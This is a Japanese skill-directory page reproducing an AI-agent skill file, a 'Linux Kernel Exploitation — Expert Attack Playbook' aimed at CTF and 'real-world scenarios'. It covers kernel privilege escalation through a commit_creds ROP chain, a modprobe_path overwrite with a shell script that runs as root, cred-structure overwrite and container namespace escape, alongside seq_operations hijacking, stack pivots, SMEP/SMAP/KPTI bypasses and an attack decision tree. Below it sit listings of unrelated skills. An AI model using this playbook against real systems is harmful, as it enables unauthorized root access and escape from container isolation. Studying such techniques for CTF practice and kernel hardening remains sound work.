Agent Skills by ALSEL
Anthropic Claudeその他⭐ リポ 0品質スコア 50/100

kernel-exploitation

Linux カーネル脆弱性(UAF、OOB、レースコンディション、型混同)を悪用した権限昇格の攻略手順を提供するスキル。CTF や実環境において、`commit_creds`、`modprobe_path` 上書き、カーネル ROP チェーンを用いたエクスプロイトを実施する際に使用します。

description の原文を見る

>- Linux kernel exploitation playbook. Use when exploiting kernel vulnerabilities (UAF, OOB, race condition, type confusion) for privilege escalation via commit_creds, modprobe_path overwrite, or kernel ROP chains in CTF and real-world scenarios.

SKILL.md 本文

SKILL: Linux Kernel Exploitation — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert kernel exploitation techniques. Covers environment setup (QEMU), vulnerability classes, privilege escalation targets, kernel ROP, ret2usr, stack pivoting, and cross-cache attacks. Distilled from ctf-wiki kernel-mode sections and real-world kernel CVEs. Base models often confuse user-mode and kernel-mode exploitation constraints, especially regarding SMEP/SMAP/KPTI.

0. RELATED ROUTING

  • binary-protection-bypass — userspace protections (NX, ASLR) also apply in kernel context
  • stack-overflow-and-rop — kernel ROP reuses many userspace ROP concepts
  • heap-exploitation — kernel SLUB is conceptually related to userspace heap
  • linux-privilege-escalation — non-exploit kernel privesc techniques

Advanced References

  • KERNEL_MITIGATION_BYPASS.md — KASLR, SMEP, SMAP, KPTI, FG-KASLR, CFI bypass techniques
  • KERNEL_HEAP_TECHNIQUES.md — SLUB internals, cross-cache attacks, msg_msg/pipe_buffer/sk_buff exploitation

1. EXPLOITATION MODEL

┌─────────────────────────────────────────────────────┐
│  1. Find Vulnerability                              │
│     (UAF, OOB, race, integer overflow, type confusion)│
├─────────────────────────────────────────────────────┤
│  2. Build Primitive                                 │
│     (arbitrary read, arbitrary write, controlled RIP)│
├─────────────────────────────────────────────────────┤
│  3. Bypass Mitigations                              │
│     (KASLR, SMEP, SMAP, KPTI)                     │
├─────────────────────────────────────────────────────┤
│  4. Escalate Privileges                             │
│     (commit_creds, modprobe_path, namespace escape)  │
├─────────────────────────────────────────────────────┤
│  5. Return to Userspace Cleanly                     │
│     (KPTI trampoline, iretq/sysretq, swapgs)       │
└─────────────────────────────────────────────────────┘

2. ENVIRONMENT SETUP

QEMU + カスタムカーネル

# カーネルのダウンロードとコンパイル
wget https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.1.tar.xz
tar xf linux-6.1.tar.xz && cd linux-6.1
make defconfig
# より簡単なデバッグのため、軽減策を無効化:
scripts/config --disable RANDOMIZE_BASE      # KASLR
scripts/config --disable RANDOMIZE_LAYOUT    # FG-KASLR
scripts/config --enable DEBUG_INFO
make -j$(nproc)

# QEMU で起動
qemu-system-x86_64 \
  -kernel bzImage \
  -initrd rootfs.cpio.gz \
  -append "console=ttyS0 nokaslr quiet" \
  -nographic \
  -s -S \    # ポート1234でGDBサーバーを起動、開始時に一時停止
  -monitor /dev/null \
  -m 256M \
  -cpu kvm64,+smep,+smap

GDB デバッグ

gdb vmlinux
target remote :1234
# カーネルシンボルをロード
add-symbol-file vmlinux 0xffffffff81000000  # 典型的な .text ベース
# ブレークポイント
b commit_creds
b *0xffffffff81234567
# pwndbg/GEF はカーネルデバッグで動作する

initramfs の変更

mkdir rootfs && cd rootfs
cpio -idmv < ../rootfs.cpio.gz
# init スクリプトを編集、エクスプロイトバイナリを追加
cp /path/to/exploit ./
# 再パック
find . | cpio -o --format=newc | gzip > ../rootfs.cpio.gz

3. 一般的な脆弱性タイプ

タイプ説明カーネルの例
UAFオブジェクトが解放されたがポインタはアクセス可能CVE-2022-0847 (DirtyPipe)
OOB Read/Write配列インデックスまたはサイズチェック不足CVE-2021-22555 (Netfilter)
Race Conditionチェックと使用の間の TOCTOUCVE-2016-5195 (DirtyCow)
Integer Overflowサイズ計算がオーバーフロー様々な ioctl ハンドラー
Type Confusionオブジェクトが間違った型にキャストCVE-2023-0179 (Netfilter)
Double Freeオブジェクトが2回解放SLUB アロケーター exploitation
Stack Overflowカーネルスタックバッファオーバーフロー稀 (カーネルスタック: 8KB–16KB)

4. 権限昇格の対象

方法 1: commit_creds(prepare_kernel_cred(0))

// 現在のプロセスの認証情報をroot に設定するカーネル関数
void (*commit_creds)(void *) = COMMIT_CREDS_ADDR;
void *(*prepare_kernel_cred)(void *) = PREPARE_KERNEL_CRED_ADDR;
commit_creds(prepare_kernel_cred(0));  // uid=0, gid=0 の cred

カーネル ROP チェーン相当:

pop rdi; ret
0                          # NULL → prepare_kernel_cred(NULL) = init_cred
prepare_kernel_cred addr
mov rdi, rax; ... ; ret    # または pop rdi + 既知の場所
commit_creds addr
kpti_trampoline / swapgs+iretq  # ユーザー空間に戻る

方法 2: modprobe_path オーバーライト

// modprobe_path = カーネル .data 内の "/sbin/modprobe"
// "/tmp/x" に上書き → 不明なバイナリ形式でトリガー → カーネルが root として "/tmp/x" を実行
# セットアップ:
echo '#!/bin/sh' > /tmp/x
echo 'cp /flag /tmp/flag && chmod 777 /tmp/flag' >> /tmp/x
chmod +x /tmp/x
# トリガー (不明なバイナリ形式):
echo -ne '\xff\xff\xff\xff' > /tmp/dummy
chmod +x /tmp/dummy
/tmp/dummy  # カーネルが modprobe_path を呼び出す → /tmp/x が root として実行

方法 3: cred 構造体の直接上書き

任意書き込みができ、現在のタスクの cred ポインターを見つけた場合、cred 構造体内の uid/gid フィールドを直接ゼロクリアします。

方法 4: ネームスペース脱出 (コンテナ)

init_nsproxy を上書きするか、ネームスペースポインターを操作してコンテナアイソレーションから脱出します。


5. KERNEL ROP

制御可能な RIP ソース

ソースメカニズム
破損した関数ポインターUAF オブジェクトが vtable のようなディスパッチを持つ → ポインターを上書き
破損したリターンアドレスカーネルスタックオーバーフロー (稀)
破損した ops 構造体モジュール操作構造体 (file_operations, seq_operations)

seq_operations ハイジャック (一般的な CTF パターン)

struct seq_operations {
    void * (*start)(struct seq_file *, loff_t *);
    void (*stop)(struct seq_file *, void *);
    void * (*next)(struct seq_file *, void *, loff_t *);
    int (*show)(struct seq_file *, void *);
};
// サイズ: 0x20 (kmalloc-32 に適合)
// /proc/self/stat を開く → seq_operations を割り当て
// UAF で start を上書き → read() が呼び出されると制御可能な RIP

カーネル内のスタック ピボット

ガジェット用途
xchg eax, esp; retRAX の下位 32 ビットのアドレスにピボット (既知のアドレスで mmap されたバッファ)
mov rsp, [rdi+X]; ...RDI が制御可能なデータをポイント
push rdi; pop rsp; ...RDI にピボット (ハイジャックされた関数の最初の引数)

重要: SMEP の後は、ユーザー空間コードを実行できません。ROP チェーンは カーネルガジェット のみを使用する必要があります。


6. ret2usr (SMEP 前)

カーネルコンテキストからユーザー空間関数を直接呼び出します:

void escalate() {
    commit_creds(prepare_kernel_cred(0));
}
// カーネル関数ポインターをユーザー メモリの escalate() をポイントするように上書き

ブロック対象: SMEP (Supervisor Mode Execution Prevention) — カーネルはユーザーマップされたページを実行できません。


7. ユーザー空間への返却

カーネル内で権限昇格した後は、root シェルを取得するためにユーザー空間に安全に戻す必要があります。

iretq 経由 (従来)

; ROP チェーン終了:
swapgs                     ; GS ベースをユーザー空間に戻す
iretq                      ; スタックからポップ: RIP, CS, RFLAGS, RSP, SS
; スタックは以下を含む必要: [user_rip][user_cs][user_rflags][user_rsp][user_ss]
# エクスプロイト前にユーザー空間の状態を保存
user_cs = 0x33
user_ss = 0x2b
user_rflags = # pushfq 経由で保存
user_rsp = # 保存された RSP
user_rip = # post-exploit 関数のアドレス (例: get_shell)

KPTI トランポリン経由 (KPTI が有効な場合)

KPTI はカーネル/ユーザー ページテーブルを分離します。直接的な swapgs; iretq はユーザーページがマップされていないためクラッシュします。カーネル自身のリターントランポリンを使用してください:

# KPTI トランポリン (既知のオフセットでカーネルに存在):
# swapgs_restore_regs_and_return_to_usermode:
#   mov rdi, rsp
#   ...
#   swapgs
#   iretq
# [RIP, CS, RFLAGS, RSP, SS] をスタック上に置いてトランポリンにジャンプ

シグナルハンドラーリターン経由

エクスプロイト前にシグナルハンドラーをセットアップします。commit_creds の後、シグナルをトリガー → シグナルハンドラー経由でユーザー空間に戻る (手動の swapgs/iretq を回避)。


8. QEMU デバッグのコツ

コマンド目的
-s -Sポート1234でGDBサーバーを起動、一時停止
-monitor /dev/nullQEMU モニターを無効化 (出力がクリーン)
-append "nokaslr"デバッグのため KASLR を無効化
-cpu kvm64,+smep,+smap特定の CPU 機能を有効化
info registers (GDB)すべてのレジスター値を表示
maintenance packet Qqemu.PhyMemMode:1GDB で物理メモリを読み取り
cat /proc/kallsymsカーネルシンボルアドレス (読み取り可能な場合)
cat /sys/kernel/notesカーネルビルド ID

9. DECISION TREE

カーネル脆弱性が特定された
├── どのタイプ?
│   ├── UAF → 解放されたオブジェクトを特定、置き換えをスプレー (KERNEL_HEAP_TECHNIQUES を参照)
│   ├── OOB → 読み取り/書き込み範囲を決定、隣接オブジェクトをターゲット
│   ├── Race condition → 信頼性の高いトリガー (userfaultfd, FUSE)
│   ├── Integer overflow → OOB または割り当て混乱にどのように変換される?
│   └── Type confusion → 混乱した型は何にアクセスできる?
│
├── プリミティブを構築
│   ├── RIP を制御可能? → カーネル ROP または ret2usr (SMEP がない場合)
│   ├── 任意読み取り? → KASLR ベースをリーク、その後 RIP を制御
│   ├── 任意書き込み? → modprobe_path オーバーライト (最も単純)
│   │                      または cred 構造体を直接上書き
│   └── 限定的な書き込み? → 既知のオブジェクト内の関数ポインターをターゲット
│
├── 軽減策 (KERNEL_MITIGATION_BYPASS.md を参照)
│   ├── KASLR → 最初に情報リークが必要 (/proc/kallsyms が読み取り可能な場合、タイミング、または OOB 読み取り)
│   ├── SMEP → カーネル ROP のみ (ユーザーコード実行なし)
│   ├── SMAP → カーネルからユーザーデータを読み取り不可 (copy_from_user ガジェットを使用)
│   ├── KPTI → KPTI トランポリンを使用してクリーンに返却
│   └── FG-KASLR → 関数オフセットがランダム化 (modprobe_path のようなデータセクションターゲットを使用)
│
├── 昇格方法
│   ├── 制御可能な RIP + KASLR バイパス → ROP チェーン: prepare_kernel_cred(0) → commit_creds
│   ├── 任意書き込みのみ → modprobe_path オーバーライト
│   ├── 任意書き込み + KASLR バイパス → cred uid/gid を 0 に上書き
│   └── 制御可能な関数呼び出し → commit_creds(prepare_kernel_cred(0)) を呼び出し
│
└── ユーザー空間に返却
    ├── KPTI 無効化 → swapgs; iretq (ROP 終了)
    ├── KPTI 有効化 → KPTI トランポリンにジャンプ
    └── 代替手段 → シグナルハンドラー + process_one_work リターンパス

ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ

詳細情報

作者
yaklang
リポジトリ
yaklang/hack-skills
ライセンス
MIT
最終更新
不明

Source: https://github.com/yaklang/hack-skills / ライセンス: MIT

関連スキル

汎用その他⭐ リポ 1,982

superfluid

Superfluidプロトコルおよびそのエコシステムに関するナレッジベースです。Superfluidについて情報を検索する際は、ウェブ検索の前にこちらを参照してください。対応キーワード:Superfluid、CFA、GDA、Super App、Super Token、stream、flow rate、real-time balance、pool(member/distributor)、IDA、sentinels、liquidation、TOGA、@sfpro/sdk、semantic money、yellowpaper、whitepaper

by LeoYeAI
汎用その他⭐ リポ 100

civ-finish-quotes

実質的なタスクが真に完了した際に、文明風の儀式的な引用句を追加します。ユーザーやエージェントが機能追加、リファクタリング、分析、設計ドキュメント、プロセス改善、レポート、執筆タスクといった実際の成果物を完成させるときに、明示的な依頼がなくても使用します。短い返信や小さな修正、未完成の作業には適用しません。

by huxiuhan
汎用その他⭐ リポ 1,110

nookplot

Base(Ethereum L2)上のAIエージェント向け分散型調整ネットワークです。エージェントがオンチェーンアイデンティティを登録する、コンテンツを公開する、他のエージェントにメッセージを送る、マーケットプレイスで専門家を雇う、バウンティを投稿・請求する、レピュテーションを構築する、共有プロジェクトで協業する、リサーチチャレンジを解くことでNOOKをマイニングする、キュレーションされたナレッジを備えたスタンドアロンオンチェーンエージェントをデプロイする、またはアグリーメントとリワードで収益を得る場合に利用できます。エージェントネットワーク、エージェント調整、分散型エージェント、NOOKトークン、マイニングチャレンジ、ナレッジバンドル、エージェントレピュテーション、エージェントマーケットプレイス、ERC-2771メタトランザクション、Prepare-Sign-Relay、AgentFactory、またはNookplotが言及された場合にトリガーされます。

by BankrBot
汎用その他⭐ リポ 59

web3-polymarket

Polygon上でのPolymarket予測市場取引統合です。認証機能(L1 EIP-712、L2 HMAC-SHA256、ビルダーヘッダー)、注文発注(GTC/GTD/FOK/FAK、バッチ、ポストオンリー、ハートビート)、市場データ(Gamma API、Data API、オーダーブック、サブグラフ)、WebSocketストリーミング(市場・ユーザー・スポーツチャネル)、CTF操作(分割、統合、償却、ネガティブリスク)、ブリッジ機能(入金、出金、マルチチェーン)、およびガスレスリレイトランザクションに対応しています。AIエージェント、自動マーケットメーカー、予測市場UI、またはPolygraph上のPolymarketと統合するアプリケーション構築時に活用できます。

by elophanto
汎用その他⭐ リポ 52

ethskills

Ethereum、EVM、またはブロックチェーン関連のリクエストに対応します。スマートコントラクト、dApps、ウォレット、DeFiプロトコルの構築、監査、デプロイ、インタラクションに適用されます。Solidityの開発、コントラクトアドレス、トークン規格(ERC-20、ERC-721、ERC-4626など)、Layer 2ネットワーク(Base、Arbitrum、Optimism、zkSync、Polygon)、Uniswap、Aave、Curveなどのプロトコルとの統合をカバーします。ガスコスト、コントラクトのデシマル設定、オラクルセキュリティ、リエントランシー、MEV、ブリッジング、ウォレット管理、オンチェーンデータの取得、本番環境へのデプロイ、プロトコル進化(EIPライフサイクル、フォーク追跡、今後の変更予定)といったトピックを含みます。

by jiayaoqijia
汎用その他⭐ リポ 44

xxyy-trade

このスキルは、ユーザーが「トークン購入」「トークン売却」「トークンスワップ」「暗号資産取引」「取引ステータス確認」「トランザクション照会」「トークンスキャン」「フィード」「チェーン監視」「トークン照会」「トークン詳細」「トークン安全性確認」「ウォレット一覧表示」「マイウォレット」「AIスキャン」「自動スキャン」「ツイートスキャン」「オンボーディング」「IP確認」「IPホワイトリスト」「トークン発行」「自動売却」「損切り」「利益確定」「トレーリングストップ」「保有者」「トップホルダー」「KOLホルダー」などをリクエストした場合、またはSolana/ETH/BSC/BaseチェーンでXXYYを経由した取引について言及した場合に使用します。XXYY Open APIを通じてオンチェーン取引とデータ照会を実現します。

by Jimmy-Holiday
本サイトは GitHub 上で公開されているオープンソースの SKILL.md ファイルをクロール・インデックス化したものです。 各スキルの著作権は原作者に帰属します。掲載に問題がある場合は info@alsel.co.jp または /takedown フォームよりご連絡ください。
原作者: yaklang · yaklang/hack-skills · ライセンス: MIT